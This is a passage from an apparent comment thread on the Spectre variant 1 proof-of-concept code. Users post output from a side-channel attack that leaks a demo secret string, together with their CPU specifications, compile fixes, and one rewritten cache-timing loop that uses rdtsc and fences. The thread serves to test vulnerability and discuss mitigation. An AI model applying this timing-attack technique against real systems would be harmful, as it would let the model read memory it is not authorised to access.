Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=21 (second best: 0x00 score=8)
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=9 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=11 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=9 (second best: 0x00 score=2)
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=29 (second best: 0x05 score=12)
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=13 (second best: 0x05 score=4)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=9 (second best: 0x05 score=2)

[root@localhost-live SERGBACKUP]# cat /proc/cpuinfo

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 42
model name	: Intel(R) Core(TM) i3-2330M CPU @ 2.20GHz
stepping	: 7
microcode	: 0x1b
cpu MHz		: 2194.943
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx lahf_lm epb tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm arat pln pts
bugs		:
bogomips	: 4389.88
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 42
model name	: Intel(R) Core(TM) i3-2330M CPU @ 2.20GHz
stepping	: 7
microcode	: 0x1b
cpu MHz		: 2194.943
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 2
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx lahf_lm epb tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm arat pln pts
bugs		:
bogomips	: 4394.14
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 42
model name	: Intel(R) Core(TM) i3-2330M CPU @ 2.20GHz
stepping	: 7
microcode	: 0x1b
cpu MHz		: 2194.943
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx lahf_lm epb tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm arat pln pts
bugs		:
bogomips	: 4396.76
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 42
model name	: Intel(R) Core(TM) i3-2330M CPU @ 2.20GHz
stepping	: 7
microcode	: 0x1b
cpu MHz		: 2194.943
cache size	: 3072 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 2
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer xsave avx lahf_lm epb tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm arat pln pts
bugs		:
bogomips	: 4394.99
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:


aidenatt commented Jan 7, 2018

Just tested this on a dual Opteron 6128 machine, and it seemed to work fine.

root@pve:~# ./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfedca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfedcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedcc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfedcd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfedce... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfedcf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfedd0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfedd1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedd2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfedd3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfedd4... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfedd5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfedd6... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfedd7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfedd8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfedd9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfedda... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeddb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeddc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfeddd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfedde... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfeddf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfede0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfede1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfede2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfede3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfede4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfede5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfede6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfede7... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfede8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfede9... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfedea... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfedeb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfedec... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfeded... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfedee... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfedef... Success: 0x2E=’.’ score=2

root@pve:~# lscpu

Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                16
On-line CPU(s) list:   0-15
Thread(s) per core:    1
Core(s) per socket:    8
Socket(s):             2
NUMA node(s):          4
Vendor ID:             AuthenticAMD
CPU family:            16
Model:                 9
Model name:            AMD Opteron(tm) Processor 6128
Stepping:              1
CPU MHz:               2000.000
CPU max MHz:           2000.0000
CPU min MHz:           800.0000
BogoMIPS:              4000.18
Virtualization:        AMD-V
L1d cache:             64K
L1i cache:             64K
L2 cache:              512K
L3 cache:              5118K
NUMA node0 CPU(s):     0-3
NUMA node1 CPU(s):     4-7
NUMA node2 CPU(s):     12-15
NUMA node3 CPU(s):     8-11

Mno-hime commented Jan 7, 2018

OpenIndiana 2017.10 (illumos-1d443a9338 kernel) on i7-3610QM (as well as OpenIndiana as a Linux KVM VM):

Reading 40 bytes:
Reading at malicious_x = fffffffffffefbc8... Success: 0x54=’T’ score=2 
Reading at malicious_x = fffffffffffefbc9... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefbca... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefbcc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = fffffffffffefbcd... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefbce... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefbcf... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefbd0... Success: 0x63=’c’ score=2 
Reading at malicious_x = fffffffffffefbd1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefbd2... Success: 0x57=’W’ score=2 
Reading at malicious_x = fffffffffffefbd3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = fffffffffffefbd4... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefbd5... Success: 0x64=’d’ score=2 
Reading at malicious_x = fffffffffffefbd6... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefbd7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefbd8... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefbd9... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefbda... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbdb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefbdc... Success: 0x53=’S’ score=2 
Reading at malicious_x = fffffffffffefbdd... Success: 0x71=’q’ score=2 
Reading at malicious_x = fffffffffffefbde... Success: 0x75=’u’ score=2 
Reading at malicious_x = fffffffffffefbdf... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbe0... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefbe1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = fffffffffffefbe2... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefbe3... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefbe4... Success: 0x68=’h’ score=2 
Reading at malicious_x = fffffffffffefbe5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = fffffffffffefbe6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = fffffffffffefbe7... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefbe8... Success: 0x73=’s’ score=2 
Reading at malicious_x = fffffffffffefbe9... Success: 0x69=’i’ score=2 
Reading at malicious_x = fffffffffffefbea... Success: 0x66=’f’ score=2 
Reading at malicious_x = fffffffffffefbeb... Success: 0x72=’r’ score=2 
Reading at malicious_x = fffffffffffefbec... Success: 0x61=’a’ score=2 
Reading at malicious_x = fffffffffffefbed... Success: 0x67=’g’ score=2 
Reading at malicious_x = fffffffffffefbee... Success: 0x65=’e’ score=2 
Reading at malicious_x = fffffffffffefbef... Success: 0x2E=’.’ score=2 

@Symbian9 hehe, nice try :) But that whole script is probably more of a joke... I know when I compiled my kernel with KPTI, but that doesn't mean it's effective. I want to actually test and verify that it works. Such a script seems not to be available :((

Leohige commented Jan 7, 2018

Ubuntu 16.04, i5 4200u

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=7
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2

jekoA commented Jan 7, 2018

Machine

Ubuntu 17.10
4.13.0-21-generic

CPU

Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              4
On-line CPU(s) list: 0-3
Thread(s) per core:  2
Core(s) per socket:  2
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               78
Model name:          Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz
Stepping:            3
CPU MHz:             2600.000
CPU max MHz:         3100,0000
CPU min MHz:         400,0000
BogoMIPS:            5184.00
Virtualization:      VT-x
L1d cache:           32K
L1i cache:           32K
L2 cache:            256K
L3 cache:            4096K
NUMA node0 CPU(s):   0-3

Changes

-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold */
+#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

Compilation:

gcc -std=c99 -O0 spectre.c -o spectre

Output

Reading at malicious_x = 0xffffffffffdfedf8... Unclear: 0x54=’T’ score=985 (second best: 0x01 score=780)
Reading at malicious_x = 0xffffffffffdfedf9... Unclear: 0x68=’h’ score=996 (second best: 0x01 score=668)
Reading at malicious_x = 0xffffffffffdfedfa... Unclear: 0x65=’e’ score=979 (second best: 0x01 score=753)
Reading at malicious_x = 0xffffffffffdfedfb... Unclear: 0x20=’ ’ score=951 (second best: 0x01 score=568)
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=101 (second best: 0x05 score=48)
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=275 (second best: 0x00 score=132)
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=83 (second best: 0x00 score=36)
Reading at malicious_x = 0xffffffffffdfedff... Unclear: 0x69=’i’ score=69 (second best: 0x00 score=35)
Reading at malicious_x = 0xffffffffffdfee00... Unclear: 0x63=’c’ score=984 (second best: 0x00 score=511)
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=259 (second best: 0x00 score=127)
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=549 (second best: 0x01 score=272)
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=683 (second best: 0x05 score=339)
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=229 (second best: 0x00 score=112)
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=301 (second best: 0x00 score=148)
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee0a... Unclear: 0x65=’e’ score=954 (second best: 0x01 score=627)
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=181 (second best: 0x05 score=88)
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=815 (second best: 0x54 score=405)
Reading at malicious_x = 0xffffffffffdfee0d... Unclear: 0x71=’q’ score=985 (second best: 0x01 score=677)
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=257 (second best: 0x00 score=125)
Reading at malicious_x = 0xffffffffffdfee0f... Unclear: 0x65=’e’ score=995 (second best: 0x01 score=609)
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=443 (second best: 0x05 score=219)
Reading at malicious_x = 0xffffffffffdfee11... Unclear: 0x6D=’m’ score=990 (second best: 0x01 score=663)
Reading at malicious_x = 0xffffffffffdfee12... Unclear: 0x69=’i’ score=988 (second best: 0x01 score=679)
Reading at malicious_x = 0xffffffffffdfee13... Unclear: 0x73=’s’ score=987 (second best: 0x01 score=683)
Reading at malicious_x = 0xffffffffffdfee14... Unclear: 0x68=’h’ score=995 (second best: 0x01 score=664)
Reading at malicious_x = 0xffffffffffdfee15... Unclear: 0x20=’ ’ score=960 (second best: 0x01 score=682)
Reading at malicious_x = 0xffffffffffdfee16... Unclear: 0x4F=’O’ score=962 (second best: 0x01 score=654)
Reading at malicious_x = 0xffffffffffdfee17... Unclear: 0x73=’s’ score=994 (second best: 0x01 score=705)
Reading at malicious_x = 0xffffffffffdfee18... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=768)
Reading at malicious_x = 0xffffffffffdfee19... Unclear: 0x69=’i’ score=996 (second best: 0x01 score=732)
Reading at malicious_x = 0xffffffffffdfee1a... Unclear: 0x66=’f’ score=987 (second best: 0x01 score=701)
Reading at malicious_x = 0xffffffffffdfee1b... Unclear: 0x72=’r’ score=999 (second best: 0x01 score=720)
Reading at malicious_x = 0xffffffffffdfee1c... Unclear: 0x61=’a’ score=982 (second best: 0x01 score=724)
Reading at malicious_x = 0xffffffffffdfee1d... Unclear: 0x67=’g’ score=997 (second best: 0x01 score=698)
Reading at malicious_x = 0xffffffffffdfee1e... Unclear: 0x65=’e’ score=956 (second best: 0x01 score=716)
Reading at malicious_x = 0xffffffffffdfee1f... Unclear: 0x2E=’.’ score=974 (second best: 0x01 score=764)

veita commented Jan 7, 2018

Works with Silvermont/Linux 4.14.7 (gcc -march=silvermont -std=c99 spectre.c -o spectre)

Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              8
On-line CPU(s) list: 0-7
Thread(s) per core:  1
Core(s) per socket:  8
Socket(s):           1
NUMA node(s):        1
Vendor ID:           GenuineIntel
CPU family:          6
Model:               77
Model name:          Intel(R) Atom(TM) CPU  C2750  @ 2.40GHz
Stepping:            8
CPU MHz:             2400.000
CPU max MHz:         2401.0000
CPU min MHz:         1200.0000
BogoMIPS:            4800.17
Virtualization:      VT-x
L1d cache:           24K
L1i cache:           32K
L2 cache:            1024K
NUMA node0 CPU(s):   0-7
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36
                        clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc
                        arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf
                        pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm
                        sse4_1 sse4_2 movbe popcnt tsc_deadline_timer aes rdrand lahf_lm
                        3dnowprefetch cpuid_fault epb tpr_shadow vnmi flexpriority ept vpid tsc_adjust
                        smep erms dtherm ida arat

MWisBest commented Jan 7, 2018

Confirmed working on an AMD A10-4600M (family 15h model 10h, Trinity/Piledriver) with up-to-date Windows 10 64-bit.

Required a few misc changes to compile with MSVC but those have mostly been mentioned already.

RDTSCP works as-is because it is guaranteed to serialize, but for better compatibility RDTSC can be used with fences to ensure serialization, i.e.:

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
	mix_i = ((i * 167) + 13) & 255;
	addr = &array2[mix_i * 512];
	_mm_lfence(); /* FENCE TO ENSURE SERIALIZATION */
	time1 = __rdtsc(); /* READ TIMER */
	junk = *addr; /* MEMORY ACCESS TO TIME */
	_mm_lfence(); /* FENCE TO ENSURE SERIALIZATION */
	time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
	if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
		results[mix_i]++; /* cache hit - add +1 to score for this value */
}

All three fence types (lfence, sfence, mfence) are working for me... I was under the impression sfence and lfence were not serializing. lfence is much faster than sfence and mfence; sfence and mfence required increasing the cache hit threshold. cpuid also works for serialization but is slower than all fences, but it has the potential advantage of not needing SSE2.

Using a fence instead of the delay loop in the training run did not work reliably, and a separate thread counter was also unreliable for me.

Of course this entire mess is mitigated with a fence after the if (x < array1_size) check in victim_function().

Bahat159 commented Jan 8, 2018

Windows 10 Name
Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 69 Stepping 1, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=4501

gcc spectre.c
spectre

For those of you still having problem compiling the code on windows "Remove the braces around CACHE_HIT_THRESHOLD (80) to CACHE_HIT_THRESHOLD 80, for it will compile successfully.

Confirmed working on older i7-3630QM Fujitsu laptop running built in Ubuntu, all latest patchlevel.

$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 8
On-line CPU(s) list: 0-7
Thread(s) per core: 2
Core(s) per socket: 4
Socket(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 58
Stepping: 9
CPU MHz: 2401.000
BogoMIPS: 4802.00
Virtualization: VT-x

$ gcc -std=c11 -o spectre spectre.c

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb08... Success: 0x54=’T’ score=121 (second best: 0x05 score=58)
Reading at malicious_x = 0xffffffffffdffb09... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb0a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb0b... Success: 0x20=’ ’ score=15 (second best: 0x05 score=5)
Reading at malicious_x = 0xffffffffffdffb0c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffb0d... Unclear: 0x61=’a’ score=7 (second best: 0x00 score=5)
Reading at malicious_x = 0xffffffffffdffb0e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb0f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb10... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdffb11... Success: 0x20=’ ’ score=31 (second best: 0x05 score=13)
Reading at malicious_x = 0xffffffffffdffb12... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffb13... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffb14... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb15... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdffb16... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb17... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb18... Success: 0x61=’a’ score=11 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdffb19... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb1a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb1b... Success: 0x20=’ ’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdffb1c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffb1d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdffb1e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffb1f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb20... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb21... Success: 0x6D=’m’ score=11 (second best: 0x00 score=3)
Reading at malicious_x = 0xffffffffffdffb22... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb23... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb24... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb25... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb26... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffb27... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb28... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb29... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb2a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffb2b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb2c... Success: 0x61=’a’ score=2
